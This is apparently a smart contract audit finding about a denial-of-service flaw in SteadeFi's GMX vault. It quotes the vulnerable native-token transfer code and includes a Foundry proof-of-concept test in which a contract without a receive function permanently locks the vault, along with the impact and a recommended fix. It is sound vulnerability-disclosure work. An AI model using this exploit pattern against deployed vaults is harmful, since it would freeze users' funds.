The status of the vault is dependent on successfully sending native tokens to a user in multiple scenarios. This allows an attacker to DOS the vault by reverting the native token transfer (by not having a receive function , having a receive function that will always revert).
function processWithdraw(
GMXTypes.Store storage self
) external {
...... more code
try GMXProcessWithdraw.processWithdraw(self) {
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
self.WNT.withdraw(self.withdrawCache.tokensToUser);
(bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {
https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXWithdraw.sol#L168-L190
function processDepositCancellation(
GMXTypes.Store storage self
) external {
.... more code
if (self.depositCache.depositParams.token == address(self.WNT)) {
self.WNT.withdraw(self.WNT.balanceOf(address(this)));
(bool success, ) = self.depositCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {
https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXDeposit.sol#L193C12-L211
@@ -10,6 +10,12 @@ import { GMXTestHelper } from "./GMXTestHelper.sol";
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
+contract NoReceiveETH {
+ function createDepositFunction() external {
+
+ }
+}
+
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_createDeposit() external {
vm.startPrank(user1);
@@ -136,6 +142,41 @@ contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
assertEq(uint256(vault.store().status), 0);
}
+ function test_processDepositCancelFailsDueToAssetTransfer() external {
+ address noReceiveEthContract = address(new NoReceiveETH());
+
+ deal(noReceiveEthContract, 10 ether);
+ deal(address(WETH), noReceiveEthContract, 10 ether);
+ deal(address(USDC), noReceiveEthContract, 10000e6);
+ deal(address(ARB), noReceiveEthContract, 1000e18);
+
+
+ vm.startPrank(noReceiveEthContract);
+ IERC20(USDC).approve(address(vault), type(uint256).max);
+ IERC20(WETH).approve(address(vault), type(uint256).max);
+ IERC20(ARB).approve(address(vault), type(uint256).max);
+ IERC20(USDC).approve(address(vaultNeutral), type(uint256).max);
+ IERC20(WETH).approve(address(vaultNeutral), type(uint256).max);
+ IERC20(ARB).approve(address(vaultNeutral), type(uint256).max);
+
+ uint256 userEthBalance = address(noReceiveEthContract).balance;
+ uint256 userUsdcBalance = IERC20(USDC).balanceOf(address(noReceiveEthContract));
+
+ _createNativeDeposit(address(WETH), 1e18, 0, SLIPPAGE, EXECUTION_FEE);
+
+ // cancel deposit
+ vm.expectRevert("Transfer failed.");
+ mockExchangeRouter.cancelDeposit(
+ address(WETH),
+ address(USDC),
+ address(vault),
+ address(callback)
+ );
+
+ // the vault will forever be stuck in the deposit status
+ assertEq(uint256(vault.store().status), 1);
+ }
+
function test_processDepositFailure() external {
vm.startPrank(user1);
DOS of vault which will disallow actions including withdrawals causing the funds of user's to be stuck.
Transfer wrapped tokens itself instead of native tokens.